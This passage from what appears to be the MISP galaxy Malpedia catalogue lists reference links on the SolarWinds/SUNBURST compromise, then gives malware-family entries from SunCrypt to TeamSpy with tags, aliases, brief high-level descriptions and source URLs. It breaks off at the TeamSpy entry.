https://www.mcafee.com/blogs/other-blogs/mcafee-labs/how-a-device-to-cloud-architecture-defends-against-the-solarwinds-supply-chain-compromise/
https://www.wired.com/story/hacker-lexicon-what-is-a-supply-chain-attack/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://twitter.com/ItsReallyNick/status/1338382939835478016
https://techcommunity.microsoft.com/t5/azure-sentinel/solarwinds-post-compromise-hunting-with-azure-sentinel/ba-p/1995095
https://www.domaintools.com/resources/blog/the-devils-in-the-details-sunburst-attribution
https://twitter.com/cybercdh/status/1338975171093336067
https://blog.prevasio.com/2020/12/sunburst-backdoor-part-ii-dga-list-of.html
https://thenewstack.io/behind-the-scenes-of-the-sunburst-attack/
https://www.trustedsec.com/blog/solarwinds-backdoor-sunburst-incident-response-playbook/?hss_channel=tw-403811306

https://www.bleepingcomputer.com/news/security/autodesk-reveals-it-was-targeted-by-russian-solarwinds-hackers/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-attacks-stealthy-attackers-attempted-evade-detection
https://corelight.blog/2020/12/15/finding-sunburst-backdoor-with-zeek-logs-and-corelight/
https://prevasio.com/static/web/viewer.html?file=/static/Anatomy_Of_SolarWinds_Supply_Chain_Attack.pdf
https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware
https://www.mimecast.com/incident-report/
https://www.cyborgsecurity.com/blog/sunburst-solarwinds-supply-chain-attack/
https://twitter.com/cybercdh/status/1339241246024404994
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-unique-dga
https://techcommunity.microsoft.com/t5/azure-active-directory-identity/understanding-quot-solorigate-quot-s-identity-iocs-for-identity/ba-p/2007610
https://www.prevasio.io/blog/sunburst-backdoor-a-deeper-look-into-the-solarwinds-supply-chain-malware
https://medium.com/insomniacs/a-look-into-sunbursts-dga-ba4029193947
https://twitter.com/FireEye/status/1339295983583244302
https://www.comae.com/posts/sunburst-memory-analysis/
https://labs.sentinelone.com/solarwinds-sunburst-backdoor-inside-the-stealthy-apt-campaign/
https://fidelissecurity.com/threatgeek/data-protection/ongoing-analysis-solarwinds-impact/
https://mitre-attack.github.io/attack-navigator/#layerURL=https://raw.githubusercontent.com/center-for-threat-informed-defense/public-resources/master/solorigate/UNC2452.json
https://community.riskiq.com/article/9a515637
https://msrc-blog.microsoft.com/2020/12/21/december-21st-2020-solorigate-resource-center/
https://github.com/fireeye/sunburst_countermeasures
https://www.bleepingcomputer.com/news/security/nasa-and-the-faa-were-also-breached-by-the-solarwinds-hackers/
https://www.solarwinds.com/securityadvisory
https://www.nato.int/cps/en/natolive/official_texts_183168.htm?selectedLocale=en
https://www.consilium.europa.eu/en/press/press-releases/2021/04/15/declaration-by-the-high-representative-on-behalf-of-the-european-union-expressing-solidarity-with-the-united-states-on-the-impact-of-the-solarwinds-cyber-operation

https://community.ibm.com/community/user/security/blogs/gladys-koskas1/2020/12/18/sunburst-indicator-detection-in-qradar
https://go.recordedfuture.com/hubfs/reports/pov-2020-1230.pdf
https://netresec.com/?b=212a6ad
https://www.microsoft.com/en-us/security/business/threat-protection/solorigate-detection-guidance
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039a
https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html
https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline
https://www.brighttalk.com/webcast/7451/469525
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sunburst-supply-chain-attack-solarwinds
https://netresec.com/?b=2113a6a
https://us-cert.cisa.gov/sites/default/files/publications/SolarWinds_and_AD-M365_Compromise-Detecting_APT_Activity_from_Known_TTPs.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-sunburst-sending-data
https://www.domaintools.com/resources/blog/unraveling-network-infrastructure-linked-to-the-solarwinds-hack
https://us-cert.cisa.gov/remediating-apt-compromised-networks
https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html
https://us-cert.cisa.gov/ncas/alerts/aa21-077a
https://vrieshd.medium.com/finding-sunburst-victims-and-targets-by-using-passivedns-osint-68f5704a3cdc
https://www.cisa.gov/supply-chain-compromise
https://www.sans.org/webcasts/contrarian-view-solarwinds-119515
https://us-cert.cisa.gov/ncas/alerts/aa20-352a
https://twitter.com/KimZetter/status/1338305089597964290
https://netresec.com/?b=211cd21
https://github.com/fireeye/Mandiant-Azure-AD-Investigator
https://www.aon.com/cyber-solutions/aon_cyber_labs/cloudy-with-a-chance-of-persistent-email-access/
https://techcommunity.microsoft.com/t5/azure-active-directory-identity/azure-ad-workbook-to-help-you-assess-solorigate-risk/ba-p/2010718
https://youtu.be/SW8kVkwDOrc?t=24706
https://blog.reversinglabs.com/blog/sunburst-the-next-level-of-stealth
https://www.brighttalk.com/webcast/7451/462719

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-sunburst-command-control
https://www.ironnet.com/blog/a-closer-look-at-the-solarwinds/sunburst-malware-dga-or-dns-tunneling
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-134a
https://www.crowdstrike.com/blog/crowdstrike-launches-free-tool-to-identify-and-help-mitigate-risks-in-azure-active-directory/
https://www.sec.gov/ix?doc=/Archives/edgar/data/1739942/000173994221000076/swi-20210507.htm
https://blog.cloudflare.com/solarwinds-orion-compromise-trend-data/
https://www.splunk.com/en_us/blog/security/sunburst-backdoor-detections-in-splunk.html
https://www.bleepingcomputer.com/news/security/the-solarwinds-cyberattack-the-hack-the-victims-and-what-we-know/
https://www.securonix.com/web/wp-content/uploads/2020/12/threat_research_solarwinds_sunburst_eclipser_supply_chain.pdf
https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware
https://news.sophos.com/en-us/2020/12/14/solarwinds-playbook/
https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/
https://us-cert.cisa.gov/ncas/current-activity/2020/12/13/active-exploitation-solarwinds-software
https://www.4hou.com/posts/KzZR
https://www.ironnet.com/blog/solarwinds/sunburst-behavioral-analytics-and-collective-defense-in-action
https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714
https://www.gov.pl/web/diplomacy/statement-on-solar-winds-orion-cyberattacks
https://github.com/cisagov/CHIRP
https://www.zscaler.com/blogs/security-research/hitchhikers-guide-solarwinds-incident-response
https://zengo.com/ungilded-secrets-a-new-paradigm-for-key-security/
https://www.bleepingcomputer.com/news/security/fireeye-microsoft-create-kill-switch-for-solarwinds-backdoor/
https://www.domaintools.com/content/conceptualizing-a-continuum-of-cyber-threat-attribution.pdf
https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/
https://research.checkpoint.com/2021/deep-into-the-sunburst-attack/
https://www.cadosecurity.com/post/responding-to-solarigate

https://www.cyberark.com/resources/threat-research-blog/golden-saml-revisited-the-solorigate-connection
https://www.mfa.gov.lv/en/news/latest-news/67813-latvia-s-statement-following-the-announcement-by-the-united-states-of-actions-to-respond-to-the-russian-federation-s-destabilizing-activities
https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf
https://blog.gigamon.com/2021/07/27/ghosts-on-the-wire-expanding-conceptions-of-network-anomalies/
https://www.fireeye.com/current-threats/sunburst-malware.html
https://www.accenture.com/us-en/blogs/cyber-defense/threat-intel-takeaways-solarigate
https://us-cert.cisa.gov/ncas/alerts/aa21-008a
https://www.youtube.com/watch?v=LA-XE5Jy2kU
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.justice.gov/opa/pr/department-justice-statement-solarwinds-update
https://mp.weixin.qq.com/s/UqXC1vovKUu97569LkYm2Q
https://www.cyborgsecurity.com/cyborg_labs/threat-hunt-deep-dives-solarwinds-supply-chain-compromise-solorigate-sunburst-backdoor/
https://twitter.com/lordx64/status/1338526166051934213
https://www.youtube.com/watch?v=mbGN1xqy1jY

SunCrypt

The tag is: *misp-galaxy:malpedia="SunCrypt"*

SunCrypt is also known as:

Table 3189. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.suncrypt
https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/
https://medium.com/s2wlab/case-analysis-of-suncrypt-ransomware-negotiation-and-bitcoin-transaction-43a2194ac0bc
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html

https://medium.com/s2wlab/w4-july-en-story-of-the-week-ransomware-on-the-darkweb-c61965d0386a
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://medium.com/@sapphirex00/diving-into-the-sun-suncrypt-a-new-neighbour-in-the-ransomware-mafia-d89010c9df83
https://pcsxcetrasupport3.wordpress.com/2021/03/28/suncrypt-powershell-obfuscation-shellcode-and-more-yara/
https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound
https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://www.intezer.com/blog/malware-analysis/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt
https://blog.minerva-labs.com/suncrypt-ransomware-gains-new-abilities-in-2022
https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf
https://www.bleepingcomputer.com/news/security/suncrypt-ransomware-sheds-light-on-the-maze-ransomware-cartel/
https://www.tesorion.nl/en/posts/shining-a-light-on-suncrypts-curious-file-encryption-mechanism/
https://www.bleepingcomputer.com/news/security/suncrypt-ransomware-is-still-alive-and-kicking-in-2022/
https://cdn.pathfactory.com/assets/10555/contents/394789/0dd521f8-aa64-4517-834e-bc852e9ab95d.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html
https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/
https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer
https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel

SunOrcal

The tag is: *misp-galaxy:malpedia="SunOrcal"*

SunOrcal is also known as:

Table 3190. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sunorcal
http://pwc.blogs.com/cyber_security_updates/2016/03/index.html
https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/

SunSeed

According to Proofpoint, this is a Lua-based malware likely used by a nation-state sponsored attacker used to target European government personnel involved in managing the logistics of refugees fleeing Ukraine.

The tag is: *misp-galaxy:malpedia="SunSeed"*

SunSeed is also known as:

Table 3191. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sunseed
https://www.proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military-emails
https://blogs.blackberry.com/en/2022/03/threat-thursday-sunseed-malware

SUPERNOVA

The tag is: *misp-galaxy:malpedia="SUPERNOVA"*

SUPERNOVA is also known as:

Table 3192. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.supernova
https://www.secureworks.com/blog/supernova-web-shell-deployment-linked-to-spiral-threat-group
https://www.youtube.com/watch?v=7WX5fCEzTlA
https://unit42.paloaltonetworks.com/solarstorm-supernova
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
https://twitter.com/MalwareRE/status/1342888881373503488
https://unit42.paloaltonetworks.com/solarstorm-supernova/
https://www.splunk.com/en_us/blog/security/detecting-supernova-malware-solarwinds-continued.html

https://github.com/fireeye/sunburst_countermeasures
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a
https://www.solarwinds.com/securityadvisory
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a
https://www.splunk.com/en_us/blog/security/supernova-redux-with-a-generous-portion-of-masquerading.html
https://www.anquanke.com/post/id/226029
https://www.guidepointsecurity.com/blog/supernova-solarwinds-net-webshell-analysis
https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/
https://www.solarwinds.com/securityadvisory/faq
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/
https://www.sentinelone.com/labs/solarwinds-understanding-detecting-the-supernova-webshell-trojan
https://us-cert.cisa.gov/ncas/alerts/aa21-008a
https://www.trendmicro.com/en_us/research/20/l/overview-of-recent-sunburst-targeted-attacks.html
https://github.com/fireeye/sunburst_countermeasures/pull/5
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://labs.sentinelone.com/solarwinds-understanding-detecting-the-supernova-webshell-trojan/

SuppoBox

The tag is: *misp-galaxy:malpedia="SuppoBox"*

SuppoBox is also known as:

- Bayrob
- Nivdort

Table 3193. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.suppobox
https://media.blackhat.com/us-13/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf
https://www.justice.gov/opa/pr/two-romanian-cybercriminals-convicted-all-21-counts-relating-infecting-over-400000-victim
https://www.symantec.com/connect/blogs/trojanbayrob-strikes-again-1
https://www.symantec.com/connect/blogs/bayrob-three-suspects-extradited-face-charges-us

https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf

surtr

The tag is: *misp-galaxy:malpedia="surtr"*

surtr is also known as:

Table 3194. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.surtr
https://citizenlab.ca/2013/08/surtr-malware-family-targeting-the-tibetan-community/

SVCReady

The tag is: *misp-galaxy:malpedia="SVCReady"*

SVCReady is also known as:

Table 3195. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.svcready
https://www.socinvestigation.com/new-svcready-malware-loads-from-word-doc-properties-detection-response/
https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/

swen

The tag is: *misp-galaxy:malpedia="swen"*

swen is also known as:

Table 3196. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.swen
https://en.wikipedia.org/wiki/Swen_(computer_worm)

Sword

The tag is: *misp-galaxy:malpedia="Sword"*

Sword is also known as:

Table 3197. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sword
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

sykipot

The tag is: *misp-galaxy:malpedia="sykipot"*

sykipot is also known as:

- Wkysol
- getkys

Table 3198. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sykipot
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf
https://www.alienvault.com/blogs/labs-research/sykipot-is-back
https://community.rsa.com/thread/185437
https://blog.trendmicro.com/trendlabs-security-intelligence/sykipot-now-targeting-us-civil-aviation-sector-information/
https://www.secureworks.com/research/threat-profiles/bronze-edison
https://www.symantec.com/connect/blogs/sykipot-attacks

SynAck

The tag is: *misp-galaxy:malpedia="SynAck"*

SynAck is also known as:

Table 3199. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.synack
https://therecord.media/synack-ransomware-gang-releases-decryption-keys-for-old-victims/
https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/

SyncCrypt

The tag is: *misp-galaxy:malpedia="SyncCrypt"*

SyncCrypt is also known as:

Table 3200. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.synccrypt
https://www.bleepingcomputer.com/news/security/synccrypt-ransomware-hides-inside-jpg-files-appends-kk-extension/

SynFlooder

The tag is: *misp-galaxy:malpedia="SynFlooder"*

SynFlooder is also known as:

Table 3201. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.synflooder
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Synth Loader

The tag is: *misp-galaxy:malpedia="Synth Loader"*

Synth Loader is also known as:

Table 3202. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.synth_loader

Sys10

The tag is: *misp-galaxy:malpedia="Sys10"*

Sys10 is also known as:

Table 3203. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sys10

https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://securelist.com/analysis/publications/69953/the-naikon-apt/
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf

Syscon

SYSCON is a Remote Access Trojan used in a targeted champing against US government agencies. It has been recently observed in conjunction with CARROTBAT and CARROTBALL downloaders and it uses the File Transfer Protocol as Command and Control channel. Use of the family is attributed by Unit 42 to the Konni Group.

The tag is: *misp-galaxy:malpedia="Syscon"*

Syscon is also known as:

Table 3204. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.syscon
https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/
https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/
http://blog.trendmicro.com/trendlabs-security-intelligence/syscon-backdoor-uses-ftp-as-a-cc-channel/

SysGet

The tag is: *misp-galaxy:malpedia="SysGet"*

SysGet is also known as:

Table 3205. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sysget
http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf
http://researchcenter.paloaltonetworks.com/2017/01/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/

SysJoker (Windows)

The tag is: *misp-galaxy:malpedia="SysJoker (Windows)"*

SysJoker (Windows) is also known as:

Table 3206. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sysjoker
https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/
https://www.bleepingcomputer.com/news/security/new-sysjoker-backdoor-targets-windows-macos-and-linux/
https://blogs.vmware.com/security/2022/03/%e2%80%afsysjoker-an-analysis-of-a-multi-os-rat.html

SysKit

The tag is: *misp-galaxy:malpedia="SysKit"*

SysKit is also known as:

- IvizTech
- MANGOPUNCH

Table 3207. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.syskit
https://twitter.com/QW5kcmV3/status/1176861114535165952
https://www.darkreading.com/threat-intelligence/iranian-government-hackers-target-us-veterans/d/d-id/1335897
https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media
https://about.fb.com/news/2021/07/taking-action-against-hackers-in-iran/
https://www.symantec.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain
https://blog.talosintelligence.com/2019/09/tortoiseshell-fake-veterans.html

Sysraw Stealer

Sysraw stealer got its name because at some point, it was started as "ZSysRaw\sysraw.exe". PDB strings suggest the name "Clipsa" though. First stage connects to /WPCoreLog/, the second one to /WPSecurity/. Its behavior suggest that it is an info stealer. It creates a rather large amount of files in a subdirectory (e.g. data) named "1?[-+].dat" and POSTs them.

The tag is: *misp-galaxy:malpedia="Sysraw Stealer"*

Sysraw Stealer is also known as:

- Clipsa

Table 3208. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sysraw_stealer
https://decoded.avast.io/janrubin/clipsa-multipurpose-password-stealer/
https://zerophagemalware.com/2017/09/21/rig-ek-via-rulan-drops-an-infostealer/

Sysrv-hello (Windows)

Sysrv is a Golang written Cryptojacking malware. There are Windows and Linux variants.

The tag is: *misp-galaxy:malpedia="Sysrv-hello (Windows)"*

Sysrv-hello (Windows) is also known as:

Table 3209. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sysrv_hello
https://www.lacework.com/blog/sysrv-hello-expands-infrastructure/
https://darktrace.com/blog/worm-like-propagation-of-sysrv-hello-crypto-jacking-botnet

SysScan

The tag is: *misp-galaxy:malpedia="SysScan"*

SysScan is also known as:

Table 3210. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sysscan

SystemBC

SystemBC is a proxy malware leveraging SOCKS5. Based on screenshots used in ads on a underground marketplace, Proofpoint decided to call it SystemBC.

SystemBC has been observed occasionally, but more pronounced since June 2019. First samples goes back to October 2018.

The tag is: *misp-galaxy:malpedia="SystemBC"*

SystemBC is also known as:

- Coroxy

Table 3211. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc
https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/
https://news.sophos.com/en-us/2020/12/16/systembc/
https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders
https://isc.sans.edu/forums/diary/Excel+spreadsheets+push+SystemBC+malware/27060/
https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/
https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html
https://asec.ahnlab.com/en/33600/
https://www.bitsight.com/blog/emotet-botnet-rises-again
https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6
https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor
https://labs.f-secure.com/blog/prelude-to-ransomware-systembc/
https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html
https://www.cisa.gov/uscert/ncas/alerts/aa22-249a
https://www.bitsight.com/blog/systembc-multipurpose-proxy-bot-still-breathes
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis
https://www.mandiant.com/resources/chasing-avaddon-ransomware
https://www.proofpoint.com/us/threat-insight/post/systembc-christmas-july-socks5-malware-and-exploit-kits
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/

Szribi

The tag is: *misp-galaxy:malpedia="Szribi"*

Szribi is also known as:

Table 3212. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.szribi

https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf
https://www.secureworks.com/research/srizbi
https://www.fireeye.com/blog/threat-research/2008/11/technical-details-of-srizbis-domain-generation-algorithm.html
https://www.virusbulletin.com/virusbulletin/2007/11/spam-kernel

TabMsgSQL

The tag is: *misp-galaxy:malpedia="TabMsgSQL"*

TabMsgSQL is also known as:

Table 3213. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tabmsgsql
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

taidoor

The tag is: *misp-galaxy:malpedia="taidoor"*

taidoor is also known as:

- simbot

Table 3214. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.taidoor
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html
https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a
https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf
https://blog.reversinglabs.com/blog/taidoor-a-truly-persistent-threat
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf

https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf
http://contagiodump.blogspot.com/2011/10/sep-28-cve-2010-3333-manuscript-with.html
https://www.nttsecurity.com/docs/librariesprovider3/resources/taidoor%E3%82%92%E7%94%A8%E3%81%84%E3%81%9F%E6%A8%99%E7%9A%84%E5%9E%8B%E6%94%BB%E6%92%83%E8%A7%A3%E6%9E%90%E3%83%AC%E3%83%9D%E3%83%BC%E3%83%88_v1

TAINTEDSCRIBE

The tag is: *misp-galaxy:malpedia="TAINTEDSCRIBE"*

TAINTEDSCRIBE is also known as:

Table 3215. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.taintedscribe
https://blog.reversinglabs.com/blog/hidden-cobra
https://www.us-cert.gov/ncas/analysis-reports/ar20-133b

Taleret

The tag is: *misp-galaxy:malpedia="Taleret"*

Taleret is also known as:

Table 3216. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.taleret
http://contagioexchange.blogspot.com/2013/08/taleret-strings-apt-1.html
https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html

Tandfuy

The tag is: *misp-galaxy:malpedia="Tandfuy"*

Tandfuy is also known as:

Table 3217. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tandfuy

Tapaoux

The tag is: *misp-galaxy:malpedia="Tapaoux"*

Tapaoux is also known as:

Table 3218. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tapaoux

TargetCompany

This ransomware uses a combination of different crypto algorithms (ChaCha20, AES-128, Curve25519). The activity of this malware is dated to mid-June 2021. The extension of the encrypted files are set to the compromised company: .<target_company> A decryptor was released on 2022-02-07 by AVAST

The tag is: *misp-galaxy:malpedia="TargetCompany"*

TargetCompany is also known as:

- Tohnichi

Table 3219. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.targetcompany
https://decoded.avast.io/threatresearch/decrypted-targetcompany-ransomware/
https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-targetcompany-ransomware-victims/
https://id-ransomware.blogspot.com/2021/06/tohnichi-ransomware.html
https://securityaffairs.co/wordpress/127761/malware/targetcompany-ransomware-decryptor.html

Tarsip

The tag is: *misp-galaxy:malpedia="Tarsip"*

Tarsip is also known as:

Table 3220. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tarsip
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Taurus Stealer

According to Zscaler, Taurus is a stealer that surfaced in June 2020. It is being developed by the author(s) that previously created Predator the Thief. The name overlaps partly with the StealerOne / Terra* family (also aliased Taurus Loader) but appears to be a completely disjunct project.

The tag is: *misp-galaxy:malpedia="Taurus Stealer"*

Taurus Stealer is also known as:

Table 3221. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.taurus_stealer
https://www.zscaler.com/blogs/research/taurus-new-stealer-town
https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf
https://blog.morphisec.com/google-ppc-ads-deliver-redline-taurus-and-mini-redline-infostealers
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/an-in-depth-analysis-of-the-new-taurus-stealer/
https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/UnknownTA/2020-09-07/Analysis.md
https://blog.minerva-labs.com/taurus-stealers-evolution

TClient

Steve Miller pointed out that it is proxy-aware (Tencent) for C&C communication and uses wolfSSL, which makes it stick out.

The tag is: *misp-galaxy:malpedia="TClient"*

TClient is also known as:

- FIRESHADOW

Table 3222. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tclient
https://twitter.com/stvemillertime/status/1266050369370677249

tDiscoverer

The tag is: *misp-galaxy:malpedia="tDiscoverer"*

tDiscoverer is also known as:

- HAMMERTOSS
- HammerDuke

Table 3223. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tdiscoverer
https://www.youtube.com/watch?v=UE9suwyuic8
https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf
https://securityintelligence.com/hammertoss-what-me-worry/

TDTESS

The tag is: *misp-galaxy:malpedia="TDTESS"*

TDTESS is also known as:

Table 3224. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tdtess
http://www.clearskysec.com/tulip/

TeamBot

Recently, Check Point researchers spotted a targeted attack against officials within government finance authorities and representatives in several embassies in Europe. The attack, which starts with a malicious attachment disguised as a top secret US document, weaponizes TeamViewer, the popular remote access and desktop sharing software, to gain full control of the infected computer. This is achieved by sideloading another DLL among the legit TeamViewer.

The tag is: *misp-galaxy:malpedia="TeamBot"*

TeamBot is also known as:

- FINTEAM

Table 3225. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.teambot
https://research.checkpoint.com/finteam-trojanized-teamviewer-against-government-targets/

TeamSpy

The tag is: *misp-galaxy:malpedia="TeamSpy"*

TeamSpy is also known as:

- TVRAT
- TVSPY
- TeamViewerENT

Table 3226. Table References

Links
